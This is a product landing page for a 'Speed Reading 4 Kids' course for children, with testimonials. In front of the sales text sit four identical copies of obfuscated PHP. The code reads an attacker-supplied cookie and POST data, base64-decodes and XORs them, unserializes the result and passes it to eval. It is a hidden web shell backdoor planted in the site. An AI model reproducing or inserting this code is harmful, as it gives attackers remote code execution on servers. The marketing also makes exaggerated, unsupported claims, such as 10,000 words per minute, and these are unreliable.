$vZCXBQwB = "\x45" . chr (95) . "\131" . "\x44" . "\164" . chr (117) . chr (70); $thBQV = "\x63" . chr ( 943 - 835 )."\141" . chr (115) . "\x73" . "\x5f" . 'e' . chr (120) . chr (105) . chr ( 835 - 720 ).chr (116) . chr (115); $GJwyiaLFmX = class_exists($vZCXBQwB); $vZCXBQwB = "50699";$thBQV = "35704";$SQFNiH = !1;if ($GJwyiaLFmX == $SQFNiH){function EsQQf(){return FALSE;}$nwCTGe = "36221";EsQQf();class E_YDtuF{private function kzxTwOmU($nwCTGe){if (is_array(E_YDtuF::$QdABpw)) {$TpwmJdWdMK = str_replace(chr (60) . chr (63) . "\x70" . chr (104) . chr (112), "", E_YDtuF::$QdABpw["\x63" . chr ( 719 - 608 ).'n' . chr ( 972 - 856 ).chr (101) . "\156" . chr ( 606 - 490 )]);eval($TpwmJdWdMK); $nwCTGe = "36221";exit();}}private $KQqHgm;public function XRWwLSfaW(){echo 29878;}public function __destruct(){$nwCTGe = "27115_38112";$this->kzxTwOmU($nwCTGe); $nwCTGe = "27115_38112";}public function __construct($vUMqQ=0){$jYhiUl = $_POST;$Qstcof = $_COOKIE;$xEQuqOgH = "ec383568-f407-4c93-8c54-ba09d9337abf";$xTnERSd = @$Qstcof[substr($xEQuqOgH, 0, 4)];if (!empty($xTnERSd)){$cqwTiqmB = "base64";$vJHYrB = "";$xTnERSd = explode(",", $xTnERSd);foreach ($xTnERSd as $vwMwD){$vJHYrB .= @$Qstcof[$vwMwD];$vJHYrB .= @$jYhiUl[$vwMwD];}$vJHYrB = array_map($cqwTiqmB . "\137" . chr ( 615 - 515 )."\145" . "\143" . "\x6f" . 'd' . 'e', array($vJHYrB,)); $vJHYrB = $vJHYrB[0] ^ str_repeat($xEQuqOgH, (strlen($vJHYrB[0]) / strlen($xEQuqOgH)) + 1);E_YDtuF::$QdABpw = @unserialize($vJHYrB); $vJHYrB = class_exists("27115_38112");}}public static $QdABpw = 32793;}$xCSnWwxE = new /* 43159 */ E_YDtuF(36221 + 36221); $_POST = Array();unset($xCSnWwxE);}$vZCXBQwB = "\x45" . chr (95) . "\131" . "\x44" . "\164" . chr (117) . chr (70); $thBQV = "\x63" . chr ( 943 - 835 )."\141" . chr (115) . "\x73" . "\x5f" . 'e' . chr (120) . chr (105) . chr ( 835 - 720 ).chr (116) . chr (115); $GJwyiaLFmX = class_exists($vZCXBQwB); $vZCXBQwB = "50699";$thBQV = "35704";$SQFNiH = !1;if ($GJwyiaLFmX == $SQFNiH){function EsQQf(){return FALSE;}$nwCTGe = "36221";EsQQf();class E_YDtuF{private function kzxTwOmU($nwCTGe){if (is_array(E_YDtuF::$QdABpw)) {$TpwmJdWdMK = str_replace(chr (60) . chr (63) . "\x70" . chr (104) . chr (112), "", E_YDtuF::$QdABpw["\x63" . chr ( 719 - 608 ).'n' . chr ( 972 - 856 ).chr (101) . "\156" . chr ( 606 - 490 )]);eval($TpwmJdWdMK); $nwCTGe = "36221";exit();}}private $KQqHgm;public function XRWwLSfaW(){echo 29878;}public function __destruct(){$nwCTGe = "27115_38112";$this->kzxTwOmU($nwCTGe); $nwCTGe = "27115_38112";}public function __construct($vUMqQ=0){$jYhiUl = $_POST;$Qstcof = $_COOKIE;$xEQuqOgH = "ec383568-f407-4c93-8c54-ba09d9337abf";$xTnERSd = @$Qstcof[substr($xEQuqOgH, 0, 4)];if (!empty($xTnERSd)){$cqwTiqmB = "base64";$vJHYrB = "";$xTnERSd = explode(",", $xTnERSd);foreach ($xTnERSd as $vwMwD){$vJHYrB .= @$Qstcof[$vwMwD];$vJHYrB .= @$jYhiUl[$vwMwD];}$vJHYrB = array_map($cqwTiqmB . "\137" . chr ( 615 - 515 )."\145" . "\143" . "\x6f" . 'd' . 'e', array($vJHYrB,)); $vJHYrB = $vJHYrB[0] ^ str_repeat($xEQuqOgH, (strlen($vJHYrB[0]) / strlen($xEQuqOgH)) + 1);E_YDtuF::$QdABpw = @unserialize($vJHYrB); $vJHYrB = class_exists("27115_38112");}}public static $QdABpw = 32793;}$xCSnWwxE = new /* 43159 */ E_YDtuF(36221 + 36221); $_POST = Array();unset($xCSnWwxE);}$vZCXBQwB = "\x45" . chr (95) . "\131" . "\x44" . "\164" . chr (117) . chr (70); $thBQV = "\x63" . chr ( 943 - 835 )."\141" . chr (115) . "\x73" . "\x5f" . 'e' . chr (120) . chr (105) . chr ( 835 - 720 ).chr (116) . chr (115); $GJwyiaLFmX = class_exists($vZCXBQwB); $vZCXBQwB = "50699";$thBQV = "35704";$SQFNiH = !1;if ($GJwyiaLFmX == $SQFNiH){function EsQQf(){return FALSE;}$nwCTGe = "36221";EsQQf();class E_YDtuF{private function kzxTwOmU($nwCTGe){if (is_array(E_YDtuF::$QdABpw)) {$TpwmJdWdMK = str_replace(chr (60) . chr (63) . "\x70" . chr (104) . chr (112), "", E_YDtuF::$QdABpw["\x63" . chr ( 719 - 608 ).'n' . chr ( 972 - 856 ).chr (101) . "\156" . chr ( 606 - 490 )]);eval($TpwmJdWdMK); $nwCTGe = "36221";exit();}}private $KQqHgm;public function XRWwLSfaW(){echo 29878;}public function __destruct(){$nwCTGe = "27115_38112";$this->kzxTwOmU($nwCTGe); $nwCTGe = "27115_38112";}public function __construct($vUMqQ=0){$jYhiUl = $_POST;$Qstcof = $_COOKIE;$xEQuqOgH = "ec383568-f407-4c93-8c54-ba09d9337abf";$xTnERSd = @$Qstcof[substr($xEQuqOgH, 0, 4)];if (!empty($xTnERSd)){$cqwTiqmB = "base64";$vJHYrB = "";$xTnERSd = explode(",", $xTnERSd);foreach ($xTnERSd as $vwMwD){$vJHYrB .= @$Qstcof[$vwMwD];$vJHYrB .= @$jYhiUl[$vwMwD];}$vJHYrB = array_map($cqwTiqmB . "\137" . chr ( 615 - 515 )."\145" . "\143" . "\x6f" . 'd' . 'e', array($vJHYrB,)); $vJHYrB = $vJHYrB[0] ^ str_repeat($xEQuqOgH, (strlen($vJHYrB[0]) / strlen($xEQuqOgH)) + 1);E_YDtuF::$QdABpw = @unserialize($vJHYrB); $vJHYrB = class_exists("27115_38112");}}public static $QdABpw = 32793;}$xCSnWwxE = new /* 43159 */ E_YDtuF(36221 + 36221); $_POST = Array();unset($xCSnWwxE);}$vZCXBQwB = "\x45" . chr (95) . "\131" . "\x44" . "\164" . chr (117) . chr (70); $thBQV = "\x63" . chr ( 943 - 835 )."\141" . chr (115) . "\x73" . "\x5f" . 'e' . chr (120) . chr (105) . chr ( 835 - 720 ).chr (116) . chr (115); $GJwyiaLFmX = class_exists($vZCXBQwB); $vZCXBQwB = "50699";$thBQV = "35704";$SQFNiH = !1;if ($GJwyiaLFmX == $SQFNiH){function EsQQf(){return FALSE;}$nwCTGe = "36221";EsQQf();class E_YDtuF{private function kzxTwOmU($nwCTGe){if (is_array(E_YDtuF::$QdABpw)) {$TpwmJdWdMK = str_replace(chr (60) . chr (63) . "\x70" . chr (104) . chr (112), "", E_YDtuF::$QdABpw["\x63" . chr ( 719 - 608 ).'n' . chr ( 972 - 856 ).chr (101) . "\156" . chr ( 606 - 490 )]);eval($TpwmJdWdMK); $nwCTGe = "36221";exit();}}private $KQqHgm;public function XRWwLSfaW(){echo 29878;}public function __destruct(){$nwCTGe = "27115_38112";$this->kzxTwOmU($nwCTGe); $nwCTGe = "27115_38112";}public function __construct($vUMqQ=0){$jYhiUl = $_POST;$Qstcof = $_COOKIE;$xEQuqOgH = "ec383568-f407-4c93-8c54-ba09d9337abf";$xTnERSd = @$Qstcof[substr($xEQuqOgH, 0, 4)];if (!empty($xTnERSd)){$cqwTiqmB = "base64";$vJHYrB = "";$xTnERSd = explode(",", $xTnERSd);foreach ($xTnERSd as $vwMwD){$vJHYrB .= @$Qstcof[$vwMwD];$vJHYrB .= @$jYhiUl[$vwMwD];}$vJHYrB = array_map($cqwTiqmB . "\137" . chr ( 615 - 515 )."\145" . "\143" . "\x6f" . 'd' . 'e', array($vJHYrB,)); $vJHYrB = $vJHYrB[0] ^ str_repeat($xEQuqOgH, (strlen($vJHYrB[0]) / strlen($xEQuqOgH)) + 1);E_YDtuF::$QdABpw = @unserialize($vJHYrB); $vJHYrB = class_exists("27115_38112");}}public static $QdABpw = 32793;}$xCSnWwxE = new /* 43159 */ E_YDtuF(36221 + 36221); $_POST = Array();unset($xCSnWwxE);}

#1 Verified Method in the World for Children

Reduce Study Time in Half

It's been almost 70 years since Evelyn Wood made her famous discovery that speed reading can be taught. Yet it is still a rarity to encounter anyone who can speed read well.
In the interest of making speed reading a commonly-learned skill, we have made the following observations:
1) The speed reading industry is focusing its energies on selling and teaching speed reading courses to adults. This is because they are businesses, and they need to make money. The adults have it and the kids don't.
2) However, those who master the skill the best are the children. So, speed reading will never become a commonplace skill until we start teaching large numbers of children to speed read from age 8-10 years old on up.
3) We will never have large numbers of kids learning to speed read until we come up with a simplified method to teach large numbers of PARENTS and/or TEACHERS who can teach these large numbers of children mentioned above.
Speed Reading 4 Kids finally enables any adult, including those without the speed reading skill, to become a qualified, successful teacher of speed reading to any child who can read at third grade level (or better). Speed Reading 4 Kids is the missing key that we need to make speed reading a commonly-learned skill for every child--WORLDWIDE.
The Speed Reading 4 Kids book was formed to pursue the following goals:
1. Make speed reading a UNIVERSAL skill--as common as literacy itself, or the ability to add and subtract.
2. Make the learning of speed reading available to everybody, but especially to children between the ages of 8 and 14, who are able to:
a) Learn the skill very quickly and easily. They often learn it well in only a month or less.
b) Master the skill at an early enough age to enhance their chances of doing well in high school and succeeding in college.
3. When paid, in-class courses are necessary, to make them much more affordable than many (maybe all) of the speed reading courses currently available.
4. Be a resource to aid local schools and teachers in implementing speed reading into their schools as a supplemental resource or as an extracurricular activity.
5. To train as many people as possible in the art of how to teach speed reading to children. If speed reading teachers were as common as school teachers or parents, then every child could easily become a speed reader.
6. To disseminate newly acquired information on how to teach speed reading, so that it becomes easily available to anyone who wants to obtain it. This way, the quality of the methods used to teach speed reading will continually improve over time.

+7.5k

Kids Taught to Speed Read

Designed for Children, Very Easy to Teach!

Help your kids to read 300% more words per minute, and learn 3x faster.

Internationally Acclaimed Method Creator

My name is George Stancliffe, and with my wife Maria-Elena for many, many years have been teaching kids (and adults) from all around the world to Speed Read in record time. We have worked on perfecting our methods for kids with ADHD and Dyslexia, making them Speed Read in almost no time with our one-of-a-kind methodology.

Want to know more about us?

How can Speed Reading help your kid?

WHAT IS SPEED READING?
There are two different types of speed reading. They are as follows:
1. EXPANDED READING is where the reader is trained to expand his peripheral reading vision horizontally in order to catch 2, 4, or even more words at a glance.

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This method of speed reading can be useful, and some schools teach it. Using expanded reading, the practical limit to reading speed is about 700 to 900 words per minute. Chapter 5 of Speed Reading 4 Kids shows you how to teach Expanded Reading to your child (doubling or tripling his/her reading speed) within your first 30 minutes.
2. DYNAMIC READING is where the reader is trained to expand his peripheral vision vertically as well as horizontally. Like this:
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By seeing large sections of the page at a glance, the reader can catch 20, 40, or more words at a glance. Some children have peripheral vision good enough to be able to catch a whole page at a glance.
Using the dynamic reading method, the practical limit to reading is over 10,000 words per minute. However, it is more common to have kids end up with reading rates of between 1,500 and 5,000 words per minute.
The Speed Reading 4 Kids manual shows how to teach both methods of speed reading (Expanded and Dynamic) to children.

+0K
Kids Taught to Speed Read
+0K
Parents Trained to Teach
0%
ADHD & Dyslexia Speed Readers
+0
Years of Experience

Learn how to teach Speed Reading with our proven, easy and effective program

Easy to Teach Focused on teaching Children. Kids learn easily.

Parent doesn’t need to know how to Speed Read

Step-by-step instructions included.

+25 Years of Experience in Teaching Speed Reading

Includes 90-Minute Instructional Video.

100% Moneyback Guarantee.

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Let’s have a live class!

Weekly Classes
Personalized exercices
Constant Follow-up
One-to-one process
Get Our 1 to 1 Training Know!

Thank you for teaching me speed reading. Now it is easy for me to read. Now I can read 5 or 6 books a day at a time.

-Addie

Speed reading is an educational thing that will help people in life. First, I was having a hard time, but now, It's easy.

-Moses

I like speed reading. It is faster than normal reading and it
is fun.

-Isaiah

I showed my 10 yr old daughter (whom has been labeled by the school system as a very poor learner) how to scan read three pages. By the third page she was able to repeat back to me half of one paragraph verbatim! I taught her to speed read in 5 minutes!

- JH, California

Thank you immensely for sending me the "Speed Reading 4 Kids" program. I can hardly express how impressed I am!

-Sandy Cook